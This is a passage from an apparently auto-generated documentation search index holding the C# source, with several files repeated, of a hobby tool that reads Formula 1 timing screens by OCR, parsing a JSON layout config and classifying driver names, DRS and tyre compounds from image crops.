Graphics.FromImage(image); foreach (Zone z in mainZones) { int count = 0; foreach (Zone zz in z.Zones) { g.DrawRectangle(Pens.Red, z.Bounds); foreach (Window w in zz.Windows) { g.DrawRectangle(Pens.Blue, new Rectangle(z.Bounds.X + zz.Bounds.X, z.Bounds.Y + zz.Bounds.Y, zz.Bounds.Width, zz.Bounds.Height)); } count++; } } return image; } } }","title":"Reader.cs"},{"location":"Code/Reader.html#readercs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Reader.cs /// Brief : Class used to Read the config file for the OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using System.Windows.Forms; using System.IO; using System.Text.Json; namespace Test_Merge { public class Reader { const int NUMBER_OF_DRIVERS = 20; public List Drivers; public List MainZones; public Reader(string configFile, Bitmap image,bool loadOCR = true) { MainZones = Load(image,configFile,ref Drivers,loadOCR); } /// /// Method that reads the JSON config file and create all the Zones and Windows /// /// The image #id on wich you want to create the zones on public static List Load(Bitmap image,string configFilePath,ref List driverListToFill,bool LoadOCR) { List mainZones = new List(); Bitmap fullImage = image; List drivers; Zone mainZone; try { using (var streamReader = new StreamReader(configFilePath)) { var jsonText = streamReader.ReadToEnd(); var jsonDocument = JsonDocument.Parse(jsonText); var driversNames = jsonDocument.RootElement.GetProperty(\"Drivers\"); driverListToFill = new List(); foreach (var nameElement in driversNames.EnumerateArray()) { driverListToFill.Add(nameElement.GetString()); } var mainProperty = jsonDocument.RootElement.GetProperty(\"Main\"); Point MainPosition = new Point(mainProperty.GetProperty(\"x\").GetInt32(), mainProperty.GetProperty(\"y\").GetInt32()); Size MainSize = new Size(mainProperty.GetProperty(\"width\").GetInt32(), mainProperty.GetProperty(\"height\").GetInt32()); Rectangle MainRectangle = new Rectangle(MainPosition, MainSize); mainZone = new Zone(image, MainRectangle,\"Main\"); var zones = mainProperty.GetProperty(\"Zones\"); var driverZone = zones[0].GetProperty(\"DriverZone\"); Point FirstZonePosition = new Point(driverZone.GetProperty(\"x\").GetInt32(), driverZone.GetProperty(\"y\").GetInt32()); Size FirstZoneSize = new Size(driverZone.GetProperty(\"width\").GetInt32(), driverZone.GetProperty(\"height\").GetInt32()); var windows = driverZone.GetProperty(\"Windows\"); var driverPosition = windows[0].GetProperty(\"Position\"); Size driverPositionArea = new Size(driverPosition.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverPositionPosition = new Point(driverPosition.GetProperty(\"x\").GetInt32(), driverPosition.GetProperty(\"y\").GetInt32()); var driverGapToLeader = windows[0].GetProperty(\"GapToLeader\"); Size driverGapToLeaderArea = new Size(driverGapToLeader.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverGapToLeaderPosition = new Point(driverGapToLeader.GetProperty(\"x\").GetInt32(), driverGapToLeader.GetProperty(\"y\").GetInt32()); var driverLapTime = windows[0].GetProperty(\"LapTime\"); Size driverLapTimeArea = new Size(driverLapTime.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverLapTimePosition = new Point(driverLapTime.GetProperty(\"x\").GetInt32(), driverLapTime.GetProperty(\"y\").GetInt32()); var driverDrs = windows[0].GetProperty(\"DRS\"); Size driverDrsArea = new Size(driverDrs.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverDrsPosition = new Point(driverDrs.GetProperty(\"x\").GetInt32(), driverDrs.GetProperty(\"y\").GetInt32()); var driverTyres = windows[0].GetProperty(\"Tyres\"); Size driverTyresArea = new Size(driverTyres.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverTyresPosition = new Point(driverTyres.GetProperty(\"x\").GetInt32(), driverTyres.GetProperty(\"y\").GetInt32()); var driverName = windows[0].GetProperty(\"Name\"); Size driverNameArea = new Size(driverName.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverNamePosition = new Point(driverName.GetProperty(\"x\").GetInt32(), driverName.GetProperty(\"y\").GetInt32()); var driverSector1 = windows[0].GetProperty(\"Sector1\"); Size driverSector1Area = new Size(driverSector1.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector1Position = new Point(driverSector1.GetProperty(\"x\").GetInt32(), driverSector1.GetProperty(\"y\").GetInt32()); var driverSector2 = windows[0].GetProperty(\"Sector2\"); Size driverSector2Area = new Size(driverSector2.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector2Position = new Point(driverSector2.GetProperty(\"x\").GetInt32(), driverSector2.GetProperty(\"y\").GetInt32()); var driverSector3 = windows[0].GetProperty(\"Sector3\"); Size driverSector3Area = new Size(driverSector3.GetProperty(\"width\").GetInt32(), FirstZoneSize.Height); Point driverSector3Position = new Point(driverSector3.GetProperty(\"x\").GetInt32(), driverSector3.GetProperty(\"y\").GetInt32()); float offset = (((float)mainZone.ZoneImage.Height - (float)(driverListToFill.Count * FirstZoneSize.Height)) / (float)driverListToFill.Count); Bitmap MainZoneImage = mainZone.ZoneImage; List zonesToAdd = new List(); List zonesImages = new List(); for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset)); Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize), \"DriverZone\"); zonesToAdd.Add(newDriverZone); zonesImages.Add(newDriverZone.ZoneImage); newDriverZone.ZoneImage.Save(\"Driver\"+i+\".png\"); } //Parallel.For(0, NUMBER_OF_DRIVERS, i => for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Zone newDriverZone = zonesToAdd[(int)i]; Bitmap zoneImg = zonesImages[(int)i]; newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea),LoadOCR)); newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea), LoadOCR)); newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea), LoadOCR)); newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea), LoadOCR)); newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea), LoadOCR)); newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea), LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector1Position, driverSector1Area),1, LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector2Position, driverSector2Area),2, LoadOCR)); newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector3Position, driverSector3Area),3, LoadOCR)); mainZone.AddZone(newDriverZone); }//); //MessageBox.Show(\"We have a main zone with \" + MainZone.Zones.Count() + \" Driver zones with \" + MainZone.Zones[4].Windows.Count() + \" windows each and we have \" + Drivers.Count + \" drivers\"); mainZones.Add(mainZone); } } catch (IOException ex) { MessageBox.Show(\"Error reading JSON file: \" + ex.Message); } catch (JsonException ex) { MessageBox.Show(\"Invalid JSON format: \" + ex.Message); } return mainZones; } /// /// Method that calls all the zones and windows to get the content they can find on the image to display them /// /// The id of the image we are working with /// a string representation of all the returns public async Task Decode(List mainZones,List drivers) { string result = \"\"; List mainResults = new List(); //Decode for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++) { switch (mainZoneId) { case 0: //Main Zone foreach (Zone z in mainZones[mainZoneId].Zones) { mainResults.Add(await z.Decode(Drivers)); } break; //Next there could be a Title Zone and TrackInfoZone } } //Display foreach (DriverData driver in mainResults) { result += driver.ToString(); result += Environment.NewLine; } return result; } /// /// Method that can be used to convert an amount of miliseconds into a more readable human form /// /// The given amount of miliseconds ton convert /// A human readable string that represents the ms public static string ConvertMsToTime(int amountOfMs) { //Convert.ToInt32 would round upand I dont want that int minuts = (int)((float)amountOfMs / (1000f * 60f)); int seconds = (int)((amountOfMs - (minuts * 60f * 1000f)) / 1000); int ms = amountOfMs - ((minuts * 60 * 1000) + (seconds * 1000)); return minuts + \":\" + seconds.ToString(\"00\") + \":\" + ms.ToString(\"000\"); } /// /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging /// /// the #id of the image we are working with /// the drawed bitmap public Bitmap Draw(Bitmap image,List mainZones) { Graphics g = Graphics.FromImage(image); foreach (Zone z in mainZones) { int count = 0; foreach (Zone zz in z.Zones) { g.DrawRectangle(Pens.Red, z.Bounds); foreach (Window w in zz.Windows) { g.DrawRectangle(Pens.Blue, new Rectangle(z.Bounds.X + zz.Bounds.X, z.Bounds.Y + zz.Bounds.Y, zz.Bounds.Width, zz.Bounds.Height)); } count++; } } return image; } } }","title":"Reader.cs"},{"location":"Code/Zone.html","text":"Zone.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Zone.cs /// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited. /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { public class Zone { private Rectangle _bounds; private List _zones; private List _windows; private Bitmap _image; private string _name; public Bitmap ZoneImage { get { //This little trickery lets you have the image that the zone sees Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Bitmap Image { get { return _image; } set { //It automatically sets the image for the contained windows and zones _image = Image; foreach (Window w in Windows) { w.Image = ZoneImage; } foreach (Zone z in Zones) { z.Image = Image; } } } public Rectangle Bounds { get => _bounds; protected set => _bounds = value; } public List Zones { get => _zones; protected set => _zones = value; } public List Windows { get => _windows; protected set => _windows = value; } public string Name { get => _name; protected set => _name = value; } public Zone(Bitmap image, Rectangle bounds, string name) { Windows = new List(); Zones = new List(); Name = name; //You cant set the image in the CTOR because the processing is impossible at first initiation _image = image; Bounds = bounds; } /// /// Adds a zone to the list of zones /// /// The zone you want to add public virtual void AddZone(Zone zone) { Zones.Add(zone); } /// /// Add a window to the list of windows /// /// the window you want to add public virtual void AddWindow(Window window) { Windows.Add(window); } /// /// Calls all the windows to do OCR and to give back the results so we can send them to the model /// /// A list of all the driver in the race to help with text recognition /// A driver data object that contains all the infos about a driver public virtual async Task Decode(List driverList) { int sectorCount = 0; DriverData result = new DriverData(); Parallel.ForEach(Windows, async w => { // A switch would be prettier but I dont think its supported in this C# version if (w is DriverNameWindow) result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList); if (w is DriverDrsWindow) result.DRS = (bool)await (w as DriverDrsWindow).DecodePng(); if (w is DriverGapToLeaderWindow) result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng(); if (w is DriverLapTimeWindow) result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng(); if (w is DriverPositionWindow) result.Position = (int)await (w as DriverPositionWindow).DecodePng(); if (w is DriverSectorWindow) { sectorCount++; if (sectorCount == 1) result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng(); if (sectorCount == 2) result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng(); if (sectorCount == 3) result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng(); } if (w is DriverTyresWindow) result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng(); }); return result; } public virtual Bitmap Draw() { Bitmap img; //If its the main zone we want to see everything if (Zones.Count > 0) { img = Image; } else { img = ZoneImage; } Graphics g = Graphics.FromImage(img); //If its the main zone we need to visualize the Zone bounds displayed if (Zones.Count > 0) g.DrawRectangle(new Pen(Brushes.Violet, 5), Bounds); foreach (Zone z in Zones) { Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height); g.DrawRectangle(Pens.Red, newBounds); } foreach (Window w in Windows) { g.DrawRectangle(Pens.Blue, w.Bounds); } return img; } public void ResetZones() { Zones.Clear(); } public void ResetWindows() { foreach (Zone z in Zones) { z.ResetWindows(); } Windows.Clear(); } public virtual string ToJSON() { string result = \"\"; result += \"\\\"\" + Name + \"\\\":{\" + Environment.NewLine; result += \"\\t\" + \"\\\"x\\\":\" + Bounds.X + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"y\\\":\" + Bounds.Y + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"width\\\":\" + Bounds.Width + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"height\\\":\" + Bounds.Height; if (Windows.Count != 0) { result += \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"Windows\\\":[\" + Environment.NewLine; result += \"\\t\\t{\" + Environment.NewLine; int Wcount = 0; foreach (Window w in Windows) { result += \"\\t\\t\" + w.ToJSON(); Wcount++; if (Wcount != Windows.Count) result += \",\"; } result += \"\\t\\t}\" + Environment.NewLine; result += \"\\t\" + \"]\" + Environment.NewLine; } else { result += Environment.NewLine; } if (Zones.Count != 0) { result += \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"Zones\\\":[\" + Environment.NewLine; result += \"\\t\\t{\" + Environment.NewLine; int Zcount = 0; //foreach (Zone z in Zones) //{ result += \"\\t\\t\" + Zones[0].ToJSON(); Zcount++; if (Zcount != Zones.Count) //result += \",\"; //} result += \"\\t\\t}\" + Environment.NewLine; result += \"\\t\" + \"]\" + Environment.NewLine; } else { result += Environment.NewLine; } result += \"}\"; return result; } /// /// Checks if the given Rectangle fits in the current zone /// /// The Rectangle you want to check the fittment /// protected bool Fits(Rectangle inputRectangle) { if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0) { return false; } else { return true; } } } }","title":"Zone.cs"},{"location":"Code/Zone.html#zonecs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : Zone.cs /// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited. /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Test_Merge { public class Zone { private Rectangle _bounds; private List _zones; private List _windows; private Bitmap _image; private string _name; public Bitmap ZoneImage { get { //This little trickery lets you have the image that the zone sees Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Bitmap Image { get { return _image; } set { //It automatically sets the image for the contained windows and zones _image = Image; foreach (Window w in Windows) { w.Image = ZoneImage; } foreach (Zone z in Zones) { z.Image = Image; } } } public Rectangle Bounds { get => _bounds; protected set => _bounds = value; } public List Zones { get => _zones; protected set => _zones = value; } public List Windows { get => _windows; protected set => _windows = value; } public string Name { get => _name; protected set => _name = value; } public Zone(Bitmap image, Rectangle bounds, string name) { Windows = new List(); Zones = new List(); Name = name; //You cant set the image in the CTOR because the processing is impossible at first initiation _image = image; Bounds = bounds; } /// /// Adds a zone to the list of zones /// /// The zone you want to add public virtual void AddZone(Zone zone) { Zones.Add(zone); } /// /// Add a window to the list of windows /// /// the window you want to add public virtual void AddWindow(Window window) { Windows.Add(window); } /// /// Calls all the windows to do OCR and to give back the results so we can send them to the model /// /// A list of all the driver in the race to help with text recognition /// A driver data object that contains all the infos about a driver public virtual async Task Decode(List driverList) { int sectorCount = 0; DriverData result = new DriverData(); Parallel.ForEach(Windows, async w => { // A switch would be prettier but I dont think its supported in this C# version if (w is DriverNameWindow) result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList); if (w is DriverDrsWindow) result.DRS = (bool)await (w as DriverDrsWindow).DecodePng(); if (w is DriverGapToLeaderWindow) result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng(); if (w is DriverLapTimeWindow) result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng(); if (w is DriverPositionWindow) result.Position = (int)await (w as DriverPositionWindow).DecodePng(); if (w is DriverSectorWindow) { sectorCount++; if (sectorCount == 1) result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng(); if (sectorCount == 2) result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng(); if (sectorCount == 3) result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng(); } if (w is DriverTyresWindow) result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng(); }); return result; } public virtual Bitmap Draw() { Bitmap img; //If its the main zone we want to see everything if (Zones.Count > 0) { img = Image; } else { img = ZoneImage; } Graphics g = Graphics.FromImage(img); //If its the main zone we need to visualize the Zone bounds displayed if (Zones.Count > 0) g.DrawRectangle(new Pen(Brushes.Violet, 5), Bounds); foreach (Zone z in Zones) { Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height); g.DrawRectangle(Pens.Red, newBounds); } foreach (Window w in Windows) { g.DrawRectangle(Pens.Blue, w.Bounds); } return img; } public void ResetZones() { Zones.Clear(); } public void ResetWindows() { foreach (Zone z in Zones) { z.ResetWindows(); } Windows.Clear(); } public virtual string ToJSON() { string result = \"\"; result += \"\\\"\" + Name + \"\\\":{\" + Environment.NewLine; result += \"\\t\" + \"\\\"x\\\":\" + Bounds.X + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"y\\\":\" + Bounds.Y + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"width\\\":\" + Bounds.Width + \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"height\\\":\" + Bounds.Height; if (Windows.Count != 0) { result += \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"Windows\\\":[\" + Environment.NewLine; result += \"\\t\\t{\" + Environment.NewLine; int Wcount = 0; foreach (Window w in Windows) { result += \"\\t\\t\" + w.ToJSON(); Wcount++; if (Wcount != Windows.Count) result += \",\"; } result += \"\\t\\t}\" + Environment.NewLine; result += \"\\t\" + \"]\" + Environment.NewLine; } else { result += Environment.NewLine; } if (Zones.Count != 0) { result += \",\" + Environment.NewLine; result += \"\\t\" + \"\\\"Zones\\\":[\" + Environment.NewLine; result += \"\\t\\t{\" + Environment.NewLine; int Zcount = 0; //foreach (Zone z in Zones) //{ result += \"\\t\\t\" + Zones[0].ToJSON(); Zcount++; if (Zcount != Zones.Count) //result += \",\"; //} result += \"\\t\\t}\" + Environment.NewLine; result += \"\\t\" + \"]\" + Environment.NewLine; } else { result += Environment.NewLine; } result += \"}\"; return result; } /// /// Checks if the given Rectangle fits in the current zone /// /// The Rectangle you want to check the fittment /// protected bool Fits(Rectangle inputRectangle) { if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0) { return false; } else { return true; } } } }","title":"Zone.cs"},{"location":"Code/DriverDrsWindow.html","text":"DriverDrsWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverDrsWindow.cs /// Brief : Window containing DRS related method and infos /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.Linq; using System.Text; using System.Threading.Tasks; using Tesseract; namespace Test_Merge { internal class DriverDrsWindow:Window { private static int EmptyDrsGreenValue = -1; private static Random rnd = new Random(); public DriverDrsWindow(Bitmap image, Rectangle bounds,bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"DRS\"; } public override async Task DecodePng() { bool result = false; int greenValue = GetGreenPixels(); if (EmptyDrsGreenValue == -1) EmptyDrsGreenValue = greenValue; if (greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30) result = true; return result; } private unsafe int GetGreenPixels() { int tot = 0; Bitmap bmp = WindowImage; Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(rect, ImageLockMode.ReadOnly, bmp.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(bmp.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < bmp.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmp.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; if (green > blue * 1.5 && green > red * 1.5) { tot++; } } } } bmp.UnlockBits(bmpData); return tot; } public Rectangle GetBox() { var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage)); Engine.SetVariable(\"tessedit_char_whitelist\", \"\"); Page page = Engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; // Get the bounding box for the current element if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { page.Dispose(); return new Rectangle(boundingBox.X1, boundingBox.X2, boundingBox.Width, boundingBox.Height); } } while (iter.Next(PageIteratorLevel.Word)); page.Dispose(); return new Rectangle(0, 0, 0, 0); } } } }","title":"DriverDrsWindow.cs"},{"location":"Code/DriverDrsWindow.html#driverdrswindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverDrsWindow.cs /// Brief : Window containing DRS related method and infos /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.Linq; using System.Text; using System.Threading.Tasks; using Tesseract; namespace Test_Merge { internal class DriverDrsWindow:Window { private static int EmptyDrsGreenValue = -1; private static Random rnd = new Random(); public DriverDrsWindow(Bitmap image, Rectangle bounds,bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"DRS\"; } public override async Task DecodePng() { bool result = false; int greenValue = GetGreenPixels(); if (EmptyDrsGreenValue == -1) EmptyDrsGreenValue = greenValue; if (greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30) result = true; return result; } private unsafe int GetGreenPixels() { int tot = 0; Bitmap bmp = WindowImage; Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(rect, ImageLockMode.ReadOnly, bmp.PixelFormat); int bytesPerPixel = Bitmap.GetPixelFormatSize(bmp.PixelFormat) / 8; unsafe { byte* ptr = (byte*)bmpData.Scan0.ToPointer(); for (int y = 0; y < bmp.Height; y++) { byte* currentLine = ptr + (y * bmpData.Stride); for (int x = 0; x < bmp.Width; x++) { byte* pixel = currentLine + (x * bytesPerPixel); byte blue = pixel[0]; byte green = pixel[1]; byte red = pixel[2]; if (green > blue * 1.5 && green > red * 1.5) { tot++; } } } } bmp.UnlockBits(bmpData); return tot; } public Rectangle GetBox() { var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage)); Engine.SetVariable(\"tessedit_char_whitelist\", \"\"); Page page = Engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; // Get the bounding box for the current element if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { page.Dispose(); return new Rectangle(boundingBox.X1, boundingBox.X2, boundingBox.Width, boundingBox.Height); } } while (iter.Next(PageIteratorLevel.Word)); page.Dispose(); return new Rectangle(0, 0, 0, 0); } } } }","title":"DriverDrsWindow.cs"},{"location":"Code/DriverNameWindow.html","text":"DriverNameWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverNameWindow /// Brief : Window containing infos about the name of the driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverNameWindow : Window { public static Random rnd = new Random(); public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Name\"; } /// /// Decodes using OCR wich driver name is in the image /// /// /// The driver name in string public override async Task DecodePng(List DriverList) { string result = \"\"; result = await GetStringFromPng(WindowImage, Engine); if (!IsADriver(DriverList, result)) { //I put everything in uppercase to try to lower the chances of bad answers result = FindClosestMatch(DriverList.ConvertAll(d => d.ToUpper()), result.ToUpper()); } return result; } /// /// Verifies that the name found in the OCR is a valid name /// /// /// /// If ye or no the driver exists private static bool IsADriver(List driverList, string potentialDriver) { bool result = false; //I cant use drivers.Contains because it has missmatched cases and all foreach (string name in driverList) { if (name.ToUpper() == potentialDriver.ToUpper()) result = true; } return result; } } }","title":"DriverNameWindow.cs"},{"location":"Code/DriverNameWindow.html#drivernamewindowcs","text":"\ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverNameWindow /// Brief : Window containing infos about the name of the driver /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverNameWindow : Window { public static Random rnd = new Random(); public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Name\"; } /// /// Decodes using OCR wich driver name is in the image /// /// /// The driver name in string public override async Task DecodePng(List DriverList) { string result = \"\"; result = await GetStringFromPng(WindowImage, Engine); if (!IsADriver(DriverList, result)) { //I put everything in uppercase to try to lower the chances of bad answers result = FindClosestMatch(DriverList.ConvertAll(d => d.ToUpper()), result.ToUpper()); } return result; } /// /// Verifies that the name found in the OCR is a valid name /// /// /// /// If ye or no the driver exists private static bool IsADriver(List driverList, string potentialDriver) { bool result = false; //I cant use drivers.Contains because it has missmatched cases and all foreach (string name in driverList) { if (name.ToUpper() == potentialDriver.ToUpper()) result = true; } return result; } } }","title":"DriverNameWindow.cs"},{"location":"Code/DriverTyresWindow.html","text":"DriverTyresWindow.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : DriverTyresWindow.cs /// Brief : Window containing infos about a driver's tyre /// Version : 0.1 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace Test_Merge { public class DriverTyresWindow:Window { private static Random rnd = new Random(); int seed = rnd.Next(0, 10000); //Those are the colors I found but you can change them if they change in the future like in 2019 public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00); public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00); public static Color HARD_TYRE_COLOR = Color.FromArgb(0xa4, 0xa5, 0xa8); public static Color INTER_TYRE_COLOR = Color.FromArgb(0x00, 0xa4, 0x2e); public static Color WET_TYRE_COLOR = Color.FromArgb(0x27, 0x60, 0xa6); public static Color EMPTY_COLOR = Color.FromArgb(0x20, 0x20, 0x20); public DriverTyresWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = \"Tyres\"; } /// /// This will decode the content of the image /// /// And object containing what was on the image public override async Task DecodePng() { return await GetTyreInfos(); } /// /// Method that will decode whats on the image and return the tyre infos it could manage to recover /// /// A tyre object containing tyre infos private async Task GetTyreInfos() { Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone()); Tyre.Type type = Tyre.Type.Undefined; type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone)); int laps = -1; string number = await GetStringFromPng(tyreZone, Engine, \"0123456789\", OcrImage.WindowType.Tyre); try { laps = Convert.ToInt32(number); } catch { //We could not convert the number so its a letter so its 0 laps old laps = 0; } //tyreZone.Save(Reader.DEBUG_DUMP_FOLDER + \"Tyre\" + type + \"Laps\" + laps + '#' + rnd.Next(0, 1000) + \".png\"); return new Tyre(type, laps); } /// /// Finds where the important part of the image is /// /// A rectangle containing position and dimensions of the important part of the image private Rectangle FindTyreZone() { Bitmap bmp = WindowImage; int currentPosition = bmp.Width; int height = bmp.Height / 2; Color limitColor = Color.FromArgb(0x50, 0x50, 0x50); Color currentColor = Color.FromArgb(0, 0, 0); Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f)); while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0) { currentPosition--; currentColor = bmp.GetPixel(currentPosition, height); } //Its here to let the new window include a little bit of the right int CorrectedX = currentPosition - (newWindowSize.Width) + Convert.ToInt32((float)newWindowSize.Width / 100f * 10f); int CorrectedY = Convert.ToInt32((float)newWindowSize.Height / 100f * 35f); if (CorrectedX <= 0) return new Rectangle(0, 0, newWindowSize.Width, newWindowSize.Height); return new Rectangle(CorrectedX, CorrectedY, newWindowSize.Width, newWindowSize.Height); } //This method has been created with the help of chatGPT /// /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is /// /// The color that you found /// The tyre type public Tyre.Type GetTyreTypeFromColor(Color inputColor) { Tyre.Type type = Tyre.Type.Undefined; List colors = new List(); //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list //You will also need to add it below in the Tyre object's enum and add an if in the end of this method colors.Add(SOFT_TYRE_COLOR); colors.Add(MEDIUM_TYRE_COLOR); colors.Add(HARD_TYRE_COLOR); colors.Add(INTER_TYRE_COLOR); colors.Add(WET_TYRE_COLOR); colors.Add(EMPTY_COLOR); Color closestColor = colors[0]; int closestDistance = int.MaxValue; foreach (Color color in colors) { int distance = Math.Abs(color.R - inputColor.R) + Math.Abs(color.G - inputColor.G) + Math.Abs(color.B - inputColor.B); if (distance < closestDistance) { closestColor = color; closestDistance = distance; } } //We cant use a switch as the colors cant be constants ... if (closestColor == SOFT_TYRE_COLOR) type = Tyre.Type.Soft; if (closestColor == MEDIUM_TYRE_COLOR) type = Tyre.Type.Medium; if (closestColor == HARD_TYRE_COLOR) type = Tyre.Type.Hard; if (closestColor == INTER_TYRE_COLOR) type = 